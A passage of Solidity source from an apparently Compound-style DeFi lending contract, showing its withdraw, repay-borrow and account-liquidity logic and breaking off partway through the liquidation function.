FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
// We calculate the newBorrowIndex (we already had newSupplyIndex)
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = localResults.newSupplyIndex;
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == amount) {
uint256 supplyError = supplyEther(msg.value);
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
emit SupplyReceived(
msg.sender,
asset,
amount,
localResults.startingBalance,
balance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice withdraw `amount` of `ether` from sender's account to sender's address
* @dev withdraw `amount` of `ether` from msg.sender's account to msg.sender
* @param etherAmount Amount of ether to be converted to WETH
* @param user User account address
*/
function withdrawEther(address user, uint256 etherAmount)
internal
returns (uint256)
{
WETHContract.withdraw(user, etherAmount);
return uint256(Error.NO_ERROR);
}
/**
* @notice withdraw `amount` of `asset` from sender's account to sender's address
* @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender
* @param asset The market asset to withdraw
* @param requestedAmount The amount to withdraw (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function withdraw(address asset, uint256 requestedAmount)
public
nonReentrant
returns (uint256)
{
if (paused) {
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.WITHDRAW_CONTRACT_PAUSED
);
}
refreshAlkIndex(asset, msg.sender, true, true);
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[msg.sender][asset];
WithdrawLocalVars memory localResults; // Holds all our calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls
// We calculate the user's accountLiquidity and accountShortfall.
(
err,
localResults.accountLiquidity,
localResults.accountShortfall
) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED
);
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
// If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent
if (requestedAmount == uint256(-1)) {
(err, localResults.withdrawCapacity) = getAssetAmountForValue(
asset,
localResults.accountLiquidity
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED);
}
localResults.withdrawAmount = min(
localResults.withdrawCapacity,
localResults.userSupplyCurrent
);
} else {
localResults.withdrawAmount = requestedAmount;
}
// From here on we should NOT use requestedAmount.
// Fail gracefully if protocol has insufficient cash
// If protocol has insufficient cash, the sub operation will underflow.
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = sub(
localResults.currentCash,
localResults.withdrawAmount
);
if (err != Error.NO_ERROR) {
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE
);
}
// We check that the amount is less than or equal to supplyCurrent
// If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW
(err, localResults.userSupplyUpdated) = sub(
localResults.userSupplyCurrent,
localResults.withdrawAmount
);
if (err != Error.NO_ERROR) {
return
fail(
Error.INSUFFICIENT_BALANCE,
FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT
);
}
// We want to know the user's withdrawCapacity, denominated in the asset
// Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth)
// Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth
(err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount(
asset,
localResults.withdrawAmount,
false
); // amount * oraclePrice = ethValueOfWithdrawal
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED);
}
// We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below)
if (
lessThanExp(
localResults.accountLiquidity,
localResults.ethValueOfWithdrawal
)
) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL
);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply.
// Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalSupply) = addThenSub(
market.totalSupply,
localResults.userSupplyUpdated,
supplyBalance.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
// We calculate the newBorrowIndex
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event
supplyBalance.principal = localResults.userSupplyUpdated;
supplyBalance.interestIndex = localResults.newSupplyIndex;
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED);
}
} else {
withdrawEther(msg.sender, localResults.withdrawAmount); // send Ether to user
}
emit SupplyWithdrawn(
msg.sender,
asset,
localResults.withdrawAmount,
localResults.startingBalance,
supplyBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev Gets the user's account liquidity and account shortfall balances. This includes
* any accumulated interest thus far but does NOT actually update anything in
* storage, it simply calculates the account liquidity and shortfall with liquidity being
* returned as the first Exp, ie (Error, accountLiquidity, accountShortfall).
* @return Return values are expressed in 1e18 scale
*/
function calculateAccountLiquidity(address userAddress)
internal
view
returns (
Error,
Exp memory,
Exp memory
)
{
Error err;
Exp memory sumSupplyValuesMantissa;
Exp memory sumBorrowValuesMantissa;
(
err,
sumSupplyValuesMantissa,
sumBorrowValuesMantissa
) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
Exp memory result;
Exp memory sumSupplyValuesFinal = Exp({
mantissa: sumSupplyValuesMantissa.mantissa
});
Exp memory sumBorrowValuesFinal; // need to apply collateral ratio
(err, sumBorrowValuesFinal) = mulExp(
collateralRatio,
Exp({mantissa: sumBorrowValuesMantissa.mantissa})
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall.
// else the user meets the collateral ratio and has account liquidity.
if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) {
// accountShortfall = borrows - supplies
(err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal);
revertIfError(err); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, Exp({mantissa: 0}), result);
} else {
// accountLiquidity = supplies - borrows
(err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal);
revertIfError(err); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, result, Exp({mantissa: 0}));
}
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValuesInternal(address userAddress)
internal
view
returns (
Error,
Exp memory,
Exp memory
)
{
/** By definition, all collateralMarkets are those that contribute to the user's
* liquidity and shortfall so we need only loop through those markets.
* To handle avoiding intermediate negative results, we will sum all the user's
* supply balances and borrow balances (with collateral ratio) separately and then
* subtract the sums at the end.
*/
AccountValueLocalVars memory localResults; // Re-used for all intermediate results
localResults.sumSupplies = Exp({mantissa: 0});
localResults.sumBorrows = Exp({mantissa: 0});
Error err; // Re-used for all intermediate errors
localResults.collateralMarketsLength = collateralMarkets.length;
for (uint256 i = 0; i < localResults.collateralMarketsLength; i++) {
localResults.assetAddress = collateralMarkets[i];
Market storage currentMarket = markets[localResults.assetAddress];
Balance storage supplyBalance = supplyBalances[userAddress][
localResults.assetAddress
];
Balance storage borrowBalance = borrowBalances[userAddress][
localResults.assetAddress
];
if (supplyBalance.principal > 0) {
// We calculate the newSupplyIndex and user’s supplyCurrent (includes interest)
(err, localResults.newSupplyIndex) = calculateInterestIndex(
currentMarket.supplyIndex,
currentMarket.supplyRateMantissa,
currentMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
(err, localResults.userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// We have the user's supply balance with interest so let's multiply by the asset price to get the total value
(err, localResults.supplyTotalValue) = getPriceForAssetAmount(
localResults.assetAddress,
localResults.userSupplyCurrent,
false
); // supplyCurrent * oraclePrice = supplyValueInEth
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Add this to our running sum of supplies
(err, localResults.sumSupplies) = addExp(
localResults.supplyTotalValue,
localResults.sumSupplies
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
}
if (borrowBalance.principal > 0) {
// We perform a similar actions to get the user's borrow balance
(err, localResults.newBorrowIndex) = calculateInterestIndex(
currentMarket.borrowIndex,
currentMarket.borrowRateMantissa,
currentMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// We have the user's borrow balance with interest so let's multiply by the asset price to get the total value
(err, localResults.borrowTotalValue) = getPriceForAssetAmount(
localResults.assetAddress,
localResults.userBorrowCurrent,
false
); // borrowCurrent * oraclePrice = borrowValueInEth
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Add this to our running sum of borrows
(err, localResults.sumBorrows) = addExp(
localResults.borrowTotalValue,
localResults.sumBorrows
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
}
}
return (
Error.NO_ERROR,
localResults.sumSupplies,
localResults.sumBorrows
);
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details),
* sum ETH value of supplies scaled by 10e18,
* sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValues(address userAddress)
public
view
returns (
uint256,
uint256,
uint256
)
{
(
Error err,
Exp memory supplyValue,
Exp memory borrowValue
) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (uint256(err), 0, 0);
}
return (0, supplyValue.mantissa, borrowValue.mantissa);
}
/**
* @notice Users repay borrowed assets from their own address to the protocol.
* @param asset The market asset to repay
* @param amount The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(address asset, uint256 amount)
public
payable
nonReentrant
returns (uint256)
{
if (paused) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.REPAY_BORROW_CONTRACT_PAUSED
);
}
refreshAlkIndex(asset, msg.sender, false, true);
PayBorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint256 rateCalculationResultCode;
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
uint256 reimburseAmount;
// If the user specifies -1 amount to repay (“max”), repayAmount =>
// the lesser of the senders ERC-20 balance and borrowCurrent
if (asset != wethAddress) {
if (amount == uint256(-1)) {
localResults.repayAmount = min(
getBalanceOf(asset, msg.sender),
localResults.userBorrowCurrent
);
} else {
localResults.repayAmount = amount;
}
} else {
// To calculate the actual repay use has to do and reimburse the excess amount of ETH collected
if (amount > localResults.userBorrowCurrent) {
localResults.repayAmount = localResults.userBorrowCurrent;
(err, reimburseAmount) = sub(
amount,
localResults.userBorrowCurrent
); // reimbursement called at the end to make sure function does not have any other errors
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
} else {
localResults.repayAmount = amount;
}
}
// Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated`
// Note: this checks that repayAmount is less than borrowCurrent
(err, localResults.userBorrowUpdated) = sub(
localResults.userBorrowCurrent,
localResults.repayAmount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// Fail gracefully if asset is not approved or has insufficient balance
// Note: this checks that repayAmount is less than or equal to their ERC-20 balance
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
revertEtherToUser(msg.sender, msg.value);
err = checkTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE
);
}
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalBorrows) = addThenSub(
market.totalBorrows,
localResults.userBorrowUpdated,
borrowBalance.principal
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED
);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(
localResults.currentCash,
localResults.repayAmount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == amount) {
uint256 supplyError = supplyEther(localResults.repayAmount);
//Repay excess funds
if (reimburseAmount > 0) {
revertEtherToUser(msg.sender, reimburseAmount);
}
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
supplyOriginationFeeAsAdmin(
asset,
msg.sender,
localResults.repayAmount,
market.supplyIndex
);
emit BorrowRepaid(
msg.sender,
asset,
localResults.repayAmount,
localResults.startingBalance,
borrowBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice users repay all or some of an underwater borrow and receive collateral
* @param targetAccount The account whose borrow should be liquidated
* @param assetBorrow The market asset to repay
* @param assetCollateral The borrower's market asset to receive in exchange
* @param requestedAmountClose The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function liquidateBorrow(
address targetAccount,
address assetBorrow,
address assetCollateral,
uint256 requestedAmountClose
) public payable returns (uint256) {
if (paused) {
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.LIQUIDATE_CONTRACT_PAUSED
);
}
require(liquidators[msg.sender], "LIQUIDATOR_CHECK_FAILED");
refreshAlkIndex(assetCollateral, targetAccount, true, true);
refreshAlkIndex(assetCollateral, msg.sender, true, true);
refreshAlkIndex(assetBorrow, targetAccount, false, true);
LiquidateLocalVars memory localResults;
// Copy these addresses into the struct for use with `emitLiquidationEvent`
// We'll use localResults.liquidator inside this function for clarity vs using msg.sender.
localResults.targetAccount = targetAccount;
localResults.assetBorrow = assetBorrow;
localResults.liquidator = msg.sender;
localResults.assetCollateral = assetCollateral;
Market storage borrowMarket = markets[assetBorrow];
Market storage collateralMarket = markets[assetCollateral];
Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[
targetAccount
][assetBorrow];
Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[
targetAccount
][assetCollateral];
// Liquidator might already hold some of the collateral asset
Balance storage supplyBalance_LiquidatorCollateralAsset
= supplyBalances[localResults.liquidator][assetCollateral];
uint256 rateCalculationResultCode; // Used for multiple interest rate calculation calls
Error err; // re-used for all intermediate errors
(err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED);
}
(err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow);
// If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice
revertIfError(err);
// We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset
(
err,
localResults.newBorrowIndex_UnderwaterAsset
) = calculateInterestIndex(
borrowMarket.borrowIndex,
borrowMarket.borrowRateMantissa,
borrowMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET
);
}
(
err,
localResults.currentBorrowBalance_TargetUnderwaterAsset
) = calculateBalance(
borrowBalance_TargeUnderwaterAsset.principal,
borrowBalance_TargeUnderwaterAsset.interestIndex,
localResults.newBorrowIndex_UnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED
);
}
// We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset
(
err,
localResults.newSupplyIndex_CollateralAsset
) = calculateInterestIndex(
collateralMarket.supplyIndex,
collateralMarket.supplyRateMantissa,
collateralMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET
);
}
(
err,
localResults.currentSupplyBalance_TargetCollateralAsset
) = calculateBalance(
supplyBalance_TargetCollateralAsset.principal,
supplyBalance_TargetCollateralAsset.interestIndex,
localResults.newSupplyIndex_CollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET
);
}
// Liquidator may or may not already have some collateral asset.
// If they do, we need to accumulate interest on it before adding the seized collateral to it.
// We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset
(
err,
localResults.currentSupplyBalance_LiquidatorCollateralAsset
) = calculateBalance(
supplyBalance_LiquidatorCollateralAsset.principal,
supplyBalance_LiquidatorCollateralAsset.interestIndex,
localResults.newSupplyIndex_CollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
);
}
// We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated
// interest and then by adding the liquidator's accumulated interest.
// Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the target user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(
collateralMarket.totalSupply,
localResults.currentSupplyBalance_TargetCollateralAsset,
supplyBalance_TargetCollateralAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET
);
}
// Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the calling user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(
localResults.newTotalSupply_ProtocolCollateralAsset,
localResults.currentSupplyBalance_LiquidatorCollateralAsset,
supplyBalance_LiquidatorCollateralAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
);
}
// We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user
// This is equal to the lesser of
// 1. borrowCurrent; (already calculated)
// 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount:
// discountedRepayToEvenAmount=
// shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
// 3. discountedBorrowDenominatedCollateral
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
// Here we calculate item 3. discountedBorrowDenominatedCollateral =
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
(
err,
localResults.discountedBorrowDenominatedCollateral
) = calculateDiscountedBorrowDenominatedCollateral(
localResults.underwaterAssetPrice,
localResults.collateralPrice,
localResults.currentSupplyBalance_TargetCollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED
);
}
if (borrowMarket.isSupported) {
// Market is supported, so we calculate item 2 from above.
(
err,
localResults.discountedRepayToEvenAmount
) = calculateDiscountedRepayToEvenAmount(
targetAccount,
localResults.underwaterAssetPrice,
assetBorrow
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED
);
}
// We need to do a two-step min to select from all 3 values
// min1&3 = min(item 1, item 3)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.discountedBorrowDenominatedCollateral
);
// min1&3&2 = min(min1&3, 2)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset,
localResults.discountedRepayToEvenAmount
);
} else {
// Market is not supported, so we don't need to calculate item 2.
